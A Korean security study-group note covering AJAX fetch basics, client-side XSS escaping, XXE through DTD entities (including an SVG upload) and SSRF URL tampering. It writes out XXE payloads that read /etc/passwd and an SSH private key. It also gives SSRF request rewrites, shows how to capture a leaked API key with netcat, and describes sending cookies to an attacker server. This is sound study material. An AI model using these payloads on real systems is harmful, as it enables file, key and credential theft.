정보보안 스터디 - 27주차 4일 - AJAX, XXE, SSRF 예제
☞ AJAX 예제
ajax의 기초인
fetch를 이용해서 만약 버튼을 클릭을 한다면 ajax_html이라는 파일을 서버에서 불러와서 article이라는 태그에 text내용을 넣겠다는 말입니다. 굳이 원리를 이해하지 않아도 사용하는 데 지장없습니다.
예제2)
여기서 then은 파일을 불러오는데 성공했다면 function(이름없는) 을 실행시키도록 합니다.
response객체를 주면서(객체를 주는 함수는 정해져 있습니다), console response는 응답패킷을 찍어 보여줍니다.
그다음 만약 status상태가 404 라면 파일을 못불러온거고, 아니라면 정상적으로 불러온 것으로 알림띄웁니다.
즉 응답 주는 동안 다른일이 가능하도록 병렬적 = 비동기적인 실행이 가능하도록 했습니다.
그래서 그런지 1, 2 가 먼저 찍히고 response가 찍힙니다.
callbackme = function(){}
이랑
then(callbackme)랑 똑같습니다.
따라서
then(function(){
})랑 똑같습니다.
결국 이렇게 클릭하면 새로고침하지 않고 서버에서 파일을 가져와 표현하는 게 가능합니다.
☞ 클라측 자바스크립트 XSS replace 치환 방법
replaceAll('abbba', 'a', 'i')
> 'ibbbi'
const result = 'duck duck go'.replace(/\s/g, '-')
console.log(result)
duck-duck-go
공백 다 바꿉니다.
function replaaaace(str){
str=str.replace(/</g , "<");
}
☞ XXE 와 DTD(document type definition)
일단 xml 사용이유는 db처럼 데이터를 교환하기 위해 사용했습니다 > json으로 발전
장점은 machine, human readable
어느 시스템이든 사용가능.
<!DOCTYPE test [ <!ENTITY ext SYSTEM 'http://wonder.com'>] >
보통 외부형식으로 사용해서 내부 파일을 가져옵니다.
<!DOCTYPE test [ <!ENTITY ext SYSTEM 'file:///etc/passwd'>] >
데이터 요청에서 변조하면됩니다.
이로 인해 시나리오는
또는 접속 ip 안되는 곳 서버에서 요청하도록해서 SSRF 응답받아옵니다.
port scanning 과 RCE 까지 가능.
방법론
이미지업로드할 때
파일안에 xml 태그 삽입해서 불러올 때 이미지에 담아올수도있습니다.
svg 는 xml형식으로 표현되기 때문에
<?xml version="1.0" standalone="yes" encoding="utf-8"?> prolog = 필수느아님
<!DOCTYPE test [ <!ENTITY xxe SYSTEM ""> ]>
<svg width height xmlns xmlns:xlink version>
<text category="message">&xxe; //속성도 가능
</text>
</svg>
파일 note.dtd만들어서 <!DOCTYPE note SYSTEM "note.dtd">가능합니다.
dtd파일은 rules같은겁니다.
root element 이름임 |
!ELEMENT note (1,2,3,4) 1,2,3,4 꼭 들어가야함. |
!ELEMENT 1 (#PCDATA) #PCDATA 타입이여야한다. |
!ENTITYT name new entity |
예제)
그냥 요청을 xml 형식으로 보내면 display 하는 방식입니다.
/home/falcon/.ssh/id_rsa 해서 private키도 확인가능합니다.
이 외에도 블라인드 XXE, X include 등 좀더 다양한 고급기술이 있습니다.
☞ SSRF
1) 거의 없는 케이스
예상 http://apple.shop/stock?url=http://api.apple.shop/api/stock/item?id=123 |
변조 http://apple.shop/stock?url=http://api.apple.shop/api/user?id=wonder > http://api.apple.shop/api/user?id=wonder 로 요청감. 또는 http://apple.shop/stock?url=http://server.apple.shop/etc/passwd |
2)
http://apple.shop/stock?url=/item?id=123 |
변조 http://apple.shop/stock?url=/../user?id=wonder > http://apple.shop/api/stock/user?id=wonder |
3)
http://apple.shop/stock?server=api&id=123 |
변조 http://apple.shop/stock?server=api.apple.shop/api/user?id=wonder&id=123 > http://api.apple.shop/api/user?id=wonder&.apple.shop/api/stock/item?id=123 뒤에건 쓸모없는 파라미터로 소용없어집니다. |
파일서버까진 못보더라도
현재 웹사이트 내부 jsp는 볼 수 있으니까 좋은 공격입니다.
외부 ip가 막혀있는곳이라면 그걸 우회해서 들어갈 수 있습니다.
써드파티 사용할 때 자주 일어납니다.
sms 서버에게 요청하는데 본인 API키를 주면서 요청합니다.
그걸 attacker 서버IP에게 돌리면 API키 얻을 수 있습니다.
이때는 netcat으로 웹서버가 나한테 보내는 헤더 capture합니다.
원래는 외부 파일서버에 접근해서 id에 매칭되는 .pdf파일을 가져오는걸
API키를 그냥 공격자가 가져와서 파일들을 얻을 수 있습니다.
또는 웹서버의 자료를 받으면 ip달라도 내부ip로 접속할 수 있습니다. 파일 가져오거나
또 Enumerate internal networks, including IP addresses and ports,
http 아니더라도 file:// 이나 ftp 서버도 접속 가능합니다.(권한얻음)
블라인드 SSRF 등이 있습니다.
XSS
btoa(document.cookie) 은 base64인코드해서 쿠키를 공격자 서버에 전송합니다.
document.domain 사용
help보다 man이 더 보기좋습니다.